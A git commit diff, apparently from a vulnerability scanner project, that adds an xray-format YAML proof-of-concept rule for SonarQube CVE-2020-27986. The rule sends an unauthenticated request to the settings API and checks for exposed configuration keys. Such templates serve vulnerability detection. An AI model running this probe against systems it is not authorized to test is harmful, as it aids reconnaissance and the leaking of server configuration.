优化xray解析模块,支持groups、新增poc

2026-09-27 05:31:53 +08:00 · 2021-11-16 14:42:35 +08:00
parent 858c28724b
commit b06d7ac94c
313 changed files with 4314 additions and 760 deletions
@@ -0,0 +1,11 @@
+name: poc-yaml-sonarqube-cve-2020-27986-unauth
+rules:
+  - method: GET
+    path: "/api/settings/values"
+    expression: |
+      response.status == 200 && response.content_type.contains("application/json") && response.body.bcontains(bytes(string(b"sonaranalyzer-cs.nuget.packageVersion"))) && response.body.bcontains(bytes(string(b"sonar.core.id")))
+detail:
+  author: pa55w0rd(www.pa55w0rd.online/)
+  Affected Version: "sonarqube < 8.4.2.36762"
+  links:
+    - https://nvd.nist.gov/vuln/detail/CVE-2020-27986